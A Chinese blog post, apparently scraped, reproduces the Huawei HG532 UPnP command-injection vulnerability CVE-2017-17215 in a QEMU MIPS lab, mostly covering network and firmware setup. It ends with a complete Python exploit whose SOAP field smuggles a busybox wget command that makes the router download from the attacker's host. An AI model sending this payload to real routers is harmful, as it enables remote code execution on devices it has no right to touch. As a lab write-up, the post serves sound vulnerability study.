天天看點

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

一、基本資訊:

定制版的華為HG532具有遠端執行代碼漏洞。 經過身份驗證的攻擊者可以将惡意資料包發送到端口37215,以發起攻擊。 成功的利用可能導緻遠端執行任意代碼。該漏洞payload由蜜罐所捕獲發現。利用原理是利用upnp服務中的注入漏洞實作任意指令執行。

二、配置複現環境:

1. 安裝qemu

sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
           

2. 網絡配置

安裝網絡配置工具:

apt-get install bridge-utils uml-utilities
           

修改 ubuntu主機網絡配置,将ubuntu主機系統中的網絡接口配置檔案 /etc/network/interfaces 修改為如下内容:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

建立QEMU的網絡接口啟動腳本(/etc/qemu-ifup)并儲存為如下内容:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

啟動橋接網絡

賦予可執行權限

sudo chmod a+x /etc/qemu-ifup 
           

重新開機網絡服務,使配置生效

sudo /etc/init.d/networking restart
           

關閉ens33,啟動橋接網絡br0

sudo ifdown eth0
sudo ifup br0
           

執行到這裡時,系統提示eh0并未啟動。這裡并不影響

3. 加載debian鏡像檔案

從https://people.debian.org/~aurel32/qemu/mips/下載下傳對應的debian mips qemu鏡像

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

其他的文章裡有各種下載下傳qemu鏡像的位址,試了幾個下載下傳都不好用,各種坑

我下載下傳的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。

啟動qemu運作剛鏡像:

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap
           

可以看到一個qemu虛拟機,用root/root登入進去:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

看一下網絡接口:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

将nano /etc/network/interfaces 檔案中的eth0改為eth1:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

再用ifup eth1 将eth1啟起來,運氣好的話此時網絡已經好了。

然而這裡可能一直運氣不好,記錄:嘗試過重新開機、重新開機網絡、重新開機接口。給qemu配置新的網絡192.168.0.127 ,可以實作主機和虛拟機之間互通

~ # ifconfig eth1 192.168.0.127 netmask 255.255.255.0
~ # route add default gw 192.168.0.1
           
CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

直接操作虛拟機顯然比較麻煩,在ubuntu上搞個SSH 連進來,ssh root@虛拟機ip

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

将之前解壓的固件包拷貝到虛拟機裡面:

scp -r ./squashfs-root root@虛拟機ip:/root/

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

完成搭建路由器固件運作的環境。

三、複現漏洞:

1. 定位漏洞點

第一個問題是怎麼讓路由器裡的服務啟起來,我們也不知道是哪個檔案會去處理80端口過來的請求,先看下checkpoint[https://research.checkpoint.com/2017/good-zero-day-skiddie/]報告裡的payload

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

注意其中的關鍵字:ctrlt和DeviceUpgrade_1,通過**grep -r [keywords]*指令檢視有哪些檔案包含這兩個詞語:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

再找下端口号37215所在檔案。

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

2. 運作漏洞點服務

要運作upnp和mic這兩個檔案,需要先切換根目錄到路由器檔案系統中

切換到路由器檔案系統指令:

chroot /root/squashfs-root /bin/sh
           

或者執行qemu中squashfs-root檔案夾中執行

chroot . sh
           

達到切換固件跟錄下的目的。結果如下圖所示:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

3. 驗證漏洞

這時測試一下路由器的37215端口,

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

在ubantu上鍵入指令sudo nc -vlp 80 監聽本機80端口,接下來運作exp腳本驗證漏洞。

四、EXP 腳本

根據披露的payload,構造EXP 腳本如下:

CVE-2017-17215複現,主要是解決qemu和主機連接配接問題,後續會繼續深入分析該漏洞檔案

exp代碼如下:

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.0.126 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.0.127:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
           

繼續閱讀